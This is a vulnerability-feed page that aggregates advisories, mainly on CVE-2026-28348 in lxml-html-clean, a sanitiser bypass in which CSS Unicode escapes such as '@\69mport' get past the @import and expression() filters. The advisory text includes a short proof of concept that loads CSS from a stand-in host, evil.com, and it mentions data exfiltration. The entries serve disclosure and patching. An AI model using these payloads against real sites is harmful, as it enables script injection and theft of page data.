Most recent entries from all

bdu:2026-07380

BREW-gptline-CVE-2026-28348 — lxml-html-clean has CSS @import Filter Bypass via Unicode Escapes

Affected: Homebrew: gptline

### Summary The `_has_sneaky_javascript()` method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the `@import` and `expression()` filters, allowing external CSS loading or XSS in older browsers.

### Details The root cause is located in `clean.py` (around line 594): ```python style = style.replace('\\', '') ``` This transformation changes a payload like `@\69mport` into `@69mport`. This resulting string does NOT match the blacklist keyword `@import`. However, all modern browsers' CSS parsers decode `\69` as the character 'i' (hex 69) according to CSS spec section 4.3.7, interpreting `@\69mport` as a valid `@import` statement.

Same root cause bypasses `expression()` detection: `\65xpression(alert(1))` passes through (IE only).

### PoC ```python from lxml_html_clean import clean_html

# Normal @import is correctly blocked: # clean_html('<style>@import url("http://evil.com/x.css");</style>') # Output: <div><style> url("http://evil.com/x.css");</style></div>

# Unicode escape bypass: result = clean_html('<style>@\\69mport url("http://evil.com/x.css");</style>') print(result) # Output: <div><style>@\69mport url("http://evil.com/x.css");</style></div> ``` If rendered in a browser, the browser loads the external CSS. Variants like `@\0069mport`, `@\69 mport` (trailing space), and `@\49mport` (uppercase I) also work.

### Impact External CSS loading enables data exfiltration via attribute selectors (e.g., reading C…

certfr-2026-avi-0648 — De multiples vulnérabilités ont été découvertes dans Kaspersky Anti Targeted Attack Platform. Elles permettent à un att…

certfr-2026-avi-0648

EUVD-2026-274829

fkie_cve-2026-28348

lxml_html_clean is a project for HTML cleaning functionalities copied from `lxml.html.clean`. Prior to version 0.4.4, the _has_sneaky_javascript() method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the @import and expression() filters, allowing external CSS loading or XSS in older browsers. This issue has been patched in version 0.4.4.

GHSA-hw26-mmpg-fqfg — lxml-html-clean has CSS @import Filter Bypass via Unicode Escapes

Affected: PyPI: lxml-html-clean

Same root cause bypasses `expression()` detection: `\65xpression(alert(1))` passes through (IE only).

### PoC ```python from lxml_html_clean import clean_html

# Normal @import is correctly blocked: # clean_html('<style>@import url("http://evil.com/x.css");</style>') # Output: <div><style> url("http://evil.com/x.css");</style></div>

### Impact External CSS loading enables data exfiltration via attribute selectors (e.g., reading C…

openSUSE-SU-2026:10322-1 — python311-lxml_html_clean-0.4.4-1.1 on GA media

python311-lxml_html_clean-0.4.4-1.1 on GA media

PYSEC-2026-2201

Affected: PyPI: lxml-html-clean

UBUNTU-CVE-2026-28348

Affected: Ubuntu:24.04:LTS: lxml-html-clean, Ubuntu:25.10: lxml-html-clean, Ubuntu:26.04:LTS: lxml-html-clean